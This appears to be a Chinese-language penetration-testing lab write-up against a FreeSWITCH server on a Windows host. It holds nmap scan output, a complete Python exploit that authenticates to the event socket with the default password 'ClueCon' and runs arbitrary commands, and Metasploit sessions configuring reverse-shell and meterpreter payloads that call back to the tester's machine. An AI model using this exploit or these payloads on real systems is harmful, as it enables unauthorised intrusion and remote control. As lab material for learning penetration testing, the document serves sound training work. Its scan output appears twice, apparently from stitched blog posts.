| ssl-cert: Subject: commonName=FreeSWITCH/countryName=US
| Not valid before: 2020-08-24T03:07:10
|_Not valid after: 1984-06-30T20:38:54
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
5 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3306-TCP:V=7.93%I=7%D=3/11%Time=640C3B54%P=x86_64-pc-linux-gnu%r(NU
SF:LL,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20all
SF:owed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(GenericLin
SF:es,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20all
SF:owed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(GetRequest
SF:,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20allow
SF:ed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(HTTPOptions,
SF:4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RTSPRequest,4
SF:C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RPCCheck,4C,"H
SF:\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20allowed\x20
SF:to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSVersionBindReqT
SF:CP,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20all
SF:owed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSStatusR
SF:equestTCP,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not
SF:\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Hel
SF:p,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20allo
SF:wed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SSLSessionR
SF:eq,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20all
SF:owed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(TerminalSe
SF:rverCookie,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20no
SF:t\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(TL
SF:SSessionReq,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20n
SF:ot\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(K
SF:erberos,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x
SF:20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SMBPr
SF:ogNeg,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20
SF:allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(X11Prob
SF:e,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20allo
SF:wed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5066-TCP:V=7.93%I=7%D=3/11%Time=640C3B55%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,37,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nSec-WebSocket-Vers
SF:ion:\x2013\r\n\r\n")%r(GetRequest,37,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nSec-WebSocket-Version:\x2013\r\n\r\n")%r(HTTPOptions,37,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nSec-WebSocket-Version:\x2013\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port7443-TCP:V=7.93%T=SSL%I=7%D=3/11%Time=640C3B68%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,37,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nSec-WebSocket-
SF:Version:\x2013\r\n\r\n")%r(GenericLines,37,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\nSec-WebSocket-Version:\x2013\r\n\r\n")%r(HTTPOptions,37,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nSec-WebSocket-Version:\x2013\r\n\r\n
SF:");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8081-TCP:V=7.93%I=7%D=3/11%Time=640C3B55%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,37,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nSec-WebSocket-Versio
SF:n:\x2013\r\n\r\n")%r(GenericLines,37,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nSec-WebSocket-Version:\x2013\r\n\r\n")%r(HTTPOptions,37,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nSec-WebSocket-Version:\x2013\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8082-TCP:V=7.93%T=SSL%I=7%D=3/11%Time=640C3B68%P=x86_64-pc-linux-gn
SF:u%r(GenericLines,37,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nSec-WebSocke
SF:t-Version:\x2013\r\n\r\n")%r(RTSPRequest,37,"HTTP/1\.1\x20400\x20Bad\x2
SF:0Request\r\nSec-WebSocket-Version:\x2013\r\n\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (94%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (94%), Microsoft Windows Server 2012 R2 (94%), Tomato 1.27 - 1.28 (Linux 2.4.20) (91%), Microsoft Windows 7 Professional (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows 7 SP1 (90%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-03-11T08:30:38
|_ start_date: 2021-05-28T17:04:49
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: WIN-FH0N2VGINDJ, NetBIOS user: <unknown>, NetBIOS MAC: 00155d2de792 (Microsoft)
| smb2-security-mode:
| 302:
|_ Message signing enabled but not required
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 60.68 ms 192.168.200.1
2 11.27 ms 172.16.1.105
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 239.29 seconds
看到freeswitch,就找一下::
exploit-db:
上面網頁的底下是python檔,所以編輯後執行,但好像沒用?
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# vim freeswitch.py
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# chmod +x freeswitch.py
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# ./freeswitch.py 172.16.1.105 whoami
./freeswitch.py: 12: from: not found
./freeswitch.py: 13: import: not found
./freeswitch.py: 15: Syntax error: word unexpected (expecting ")")
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# python freeswitch.py 172.16.1.105 whoami
Authenticated
Content-Type: api/response
Content-Length: 23
python檔的內容如下:
# -- Example --
# root@kali:~# ./freeswitch-exploit.py 192.168.1.100 whoami
# Authenticated
# Content-Type: api/response
# Content-Length: 20
#
# nt authority\system
#
#!/usr/bin/python3
from socket import *
import sys
if len(sys.argv) != 3:
print('Missing arguments')
print('Usage: freeswitch-exploit.py <target> <cmd>')
sys.exit(1)
ADDRESS=sys.argv[1]
CMD=sys.argv[2]
PASSWORD='ClueCon' # default password for FreeSWITCH
s=socket(AF_INET, SOCK_STREAM)
s.connect((ADDRESS, 8021))
response = s.recv(1024)
if b'auth/request' in response:
s.send(bytes('auth {}\n\n'.format(PASSWORD), 'utf8'))
response = s.recv(1024)
if b'+OK accepted' in response:
print('Authenticated')
s.send(bytes('api system {}\n\n'.format(CMD), 'utf8'))
response = s.recv(8096).decode()
print(response)
else:
print('Authentication failed')
sys.exit(1)
else:
print('Not prompted for authentication, likely not vulnerable')
sys.exit(1)
再看看有沒有別的poc:
第一個CVE太新了,看看第二個:
根據上面網頁,就是用metaspolit:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# msfconsole
______________________________________
/ it looks like you're trying to run a \
\ module /
--------------------------------------
\
\
__
/ \
| |
@ @
| |
|| |/
|| ||
|\_/|
\___/
=[ metasploit v6.3.2-dev ]
+ -- --=[ 2290 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Set the current module's RHOSTS with
database values using hosts -R or services
-R
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search freeswitch
Matching Modules
================
# Name Disclosure Dat e Rank Check Description
- ---- -------------- - ---- ----- -----------
0 exploit/multi/misc/freeswitch_event_socket_cmd_exec 2019-11-03 excellent Yes FreeSWITCH Event Socket Command Execution
1 auxiliary/scanner/misc/freeswitch_event_socket_login normal Yes FreeSWITCH Event Socket Login
2 exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec 2019-06-06 excellent Yes FusionPBX Operator Panel exec.php Command Execution
Interact with a module by name or index. For example info 2, use 2 or use exploi t/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
msf6 > use 0
[*] Using configured payload cmd/unix/reverse
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show options
Module options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ClueCon yes FreeSWITCH event socket password
RHOSTS yes The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html
RPORT 8021 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly
generated)
URIPATH no The URI to use for this exploit (default is random)
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
View the full module info with the info, or info -d command.
要注意我們想打的是windows的,所以這裡的Exploit target不對,看看能不能改:
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets
Exploit targets:
=================
Id Name
-- ----
=> 0 Unix (In-Memory)
1 Linux (Dropper)
2 PowerShell (In-Memory)
3 Windows (In-Memory)
4 Windows (Dropper)
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 2
target => 2
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show options
Module options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ClueCon yes FreeSWITCH event socket password
RHOSTS yes The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html
RPORT 8021 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly
generated)
URIPATH no The URI to use for this exploit (default is random)
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 PowerShell (In-Memory)
View the full module info with the info, or info -d command.
把target設成windows的power shell。
要注意現在是跳vpn,所以lhost要以上圖為準:
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 172.16.1.105
rhosts => 172.16.1.105
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lhost 192.168.200.6
lhost => 192.168.200.6
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lport 8080
lport => 8080
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show options
Module options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ClueCon yes FreeSWITCH event socket password
RHOSTS 172.16.1.105 yes The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html
RPORT 8021 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly
generated)
URIPATH no The URI to use for this exploit (default is random)
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST 192.168.200.6 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port
Exploit target:
Id Name
-- ----
2 PowerShell (In-Memory)
View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.200.6:8080
[*] 172.16.1.105:8021 - Login success
[*] 172.16.1.105:8021 - Sending payload (323 bytes) ...
[*] Exploit completed, but no session was created.
payload有丟成功,但是爛掉了。可能是因為這漏洞被觸發的當下只能觸發一次,如果觸發到不該觸發的東西就爛掉了。
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 3
target => 3
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show options
Module options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ClueCon yes FreeSWITCH event socket password
RHOSTS 172.16.1.105 yes The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html
RPORT 8021 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly
generated)
URIPATH no The URI to use for this exploit (default is random)
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/windows/reverse_powershell):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.200.6 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port
Exploit target:
Id Name
-- ----
3 Windows (In-Memory)
View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.200.6:8080
[*] 172.16.1.105:8021 - Login success
[*] 172.16.1.105:8021 - Sending payload (4305 bytes) ...
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 4
target => 4
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show options
Module options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ClueCon yes FreeSWITCH event socket password
RHOSTS 172.16.1.105 yes The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html
RPORT 8021 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly
generated)
URIPATH no The URI to use for this exploit (default is random)
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to l
isten on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST 192.168.200.6 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port
Exploit target:
Id Name
-- ----
4 Windows (Dropper)
View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.200.6:8080
[*] 172.16.1.105:8021 - Login success
[*] 172.16.1.105:8021 - Sending payload (323 bytes) ...
[-] 172.16.1.105:8021 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:8080).
[*] Exploit completed, but no session was created.
再去設定不同target,如3(windows in memory)跟4(windows dropper),windows dropper顯示SRVPORT 8080 yes The local port to listen on.
代表被占用。
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lport 7070
lport => 7070
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.200.6:7070
[*] 172.16.1.105:8021 - Login success
[*] 172.16.1.105:8021 - Sending payload (323 bytes) ...
[*] 172.16.1.105:8021 - Using URL: http://192.168.200.6:8080/Qxac3iJkY
[*] 172.16.1.105:8021 - Command Stager progress - 100.00% done (115/115 bytes)
[*] 172.16.1.105:8021 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 2
target => 2
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.200.6:7070
[*] 172.16.1.105:8021 - Login success
[*] 172.16.1.105:8021 - Sending payload (323 bytes) ...
[*] Exploit completed, but no session was created.
換port跟換target都沒用,換下一題好了。
]]>套路的先看看開了哪些port,再針對那些port做詳細掃描:
┌──(kali㉿kali)-[~]
└─$ sudo -i
[sudo] password for kali:
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.1.105
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 03:24 EST
Nmap scan report for 172.16.1.105
Host is up (0.056s latency).
Not shown: 65513 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2855/tcp open msrp
2856/tcp open cesdinv
3306/tcp open mysql
5060/tcp open sip
5066/tcp open stanag-5066
5080/tcp open onscreen
5985/tcp open wsman
7443/tcp open oracleas-https
8021/tcp open ftp-proxy
8081/tcp open blackice-icecap
8082/tcp open blackice-alerts
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 32.61 seconds
┌──(root㉿kali)-[~]
└─# nmap -p135,139,445,2855,2856,3306,5060,5066,5080,5985,7443,8021,8081,8082,47001,49152-49158 172.16.1.105 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 03:26 EST
Nmap scan report for 172.16.1.105
Host is up (0.018s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
2855/tcp open msrp?
2856/tcp open ssl/cesdinv?
| ssl-cert: Subject: commonName=FreeSWITCH/countryName=US
| Not valid before: 2020-08-24T03:07:10
|_Not valid after: 1984-06-30T20:38:54
|_ssl-date: TLS randomness does not represent time
3306/tcp open mysql?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, NULL, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
|_ Host '192.168.200.7' is not allowed to connect to this MariaDB server
5060/tcp open sip-proxy FreeSWITCH mod_sofia 1.10.1~64bit
|_sip-methods: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REGISTER, REFER, NOTIFY, PUBLISH, SUBSCRIBE
5066/tcp open websocket (WebSocket version: 13)
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad Request
|_ Sec-WebSocket-Version: 13
5080/tcp open sip-proxy FreeSWITCH mod_sofia 1.10.1~64bit
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7443/tcp open ssl/websocket (WebSocket version: 13)
| ssl-cert: Subject: commonName=FreeSWITCH/countryName=US
| Not valid before: 2020-08-24T03:07:10
|_Not valid after: 1984-06-30T20:38:54
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad Request
|_ Sec-WebSocket-Version: 13
8021/tcp open freeswitch-event FreeSWITCH mod_event_socket
8081/tcp open websocket (WebSocket version: 13)
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad Request
|_ Sec-WebSocket-Version: 13
8082/tcp open ssl/websocket (WebSocket version: 13)
| fingerprint-strings:
| GenericLines, RTSPRequest:
| HTTP/1.1 400 Bad Request
|_ Sec-WebSocket-Version: 13
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=FreeSWITCH/countryName=US
| Not valid before: 2020-08-24T03:07:10
|_Not valid after: 1984-06-30T20:38:54
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
5 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3306-TCP:V=7.93%I=7%D=3/11%Time=640C3B54%P=x86_64-pc-linux-gnu%r(NU
SF:LL,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20all
SF:owed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(GenericLin
SF:es,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20all
SF:owed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(GetRequest
SF:,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20allow
SF:ed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(HTTPOptions,
SF:4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RTSPRequest,4
SF:C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RPCCheck,4C,"H
SF:\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20allowed\x20
SF:to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSVersionBindReqT
SF:CP,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20all
SF:owed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSStatusR
SF:equestTCP,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not
SF:\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Hel
SF:p,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20allo
SF:wed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SSLSessionR
SF:eq,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20all
SF:owed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(TerminalSe
SF:rverCookie,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20no
SF:t\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(TL
SF:SSessionReq,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20n
SF:ot\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(K
SF:erberos,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x
SF:20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SMBPr
SF:ogNeg,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20
SF:allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(X11Prob
SF:e,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.200\.7'\x20is\x20not\x20allo
SF:wed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5066-TCP:V=7.93%I=7%D=3/11%Time=640C3B55%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,37,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nSec-WebSocket-Vers
SF:ion:\x2013\r\n\r\n")%r(GetRequest,37,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nSec-WebSocket-Version:\x2013\r\n\r\n")%r(HTTPOptions,37,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nSec-WebSocket-Version:\x2013\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port7443-TCP:V=7.93%T=SSL%I=7%D=3/11%Time=640C3B68%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,37,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nSec-WebSocket-
SF:Version:\x2013\r\n\r\n")%r(GenericLines,37,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\nSec-WebSocket-Version:\x2013\r\n\r\n")%r(HTTPOptions,37,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nSec-WebSocket-Version:\x2013\r\n\r\n
SF:");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8081-TCP:V=7.93%I=7%D=3/11%Time=640C3B55%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,37,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nSec-WebSocket-Versio
SF:n:\x2013\r\n\r\n")%r(GenericLines,37,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nSec-WebSocket-Version:\x2013\r\n\r\n")%r(HTTPOptions,37,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nSec-WebSocket-Version:\x2013\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8082-TCP:V=7.93%T=SSL%I=7%D=3/11%Time=640C3B68%P=x86_64-pc-linux-gn
SF:u%r(GenericLines,37,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nSec-WebSocke
SF:t-Version:\x2013\r\n\r\n")%r(RTSPRequest,37,"HTTP/1\.1\x20400\x20Bad\x2
SF:0Request\r\nSec-WebSocket-Version:\x2013\r\n\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
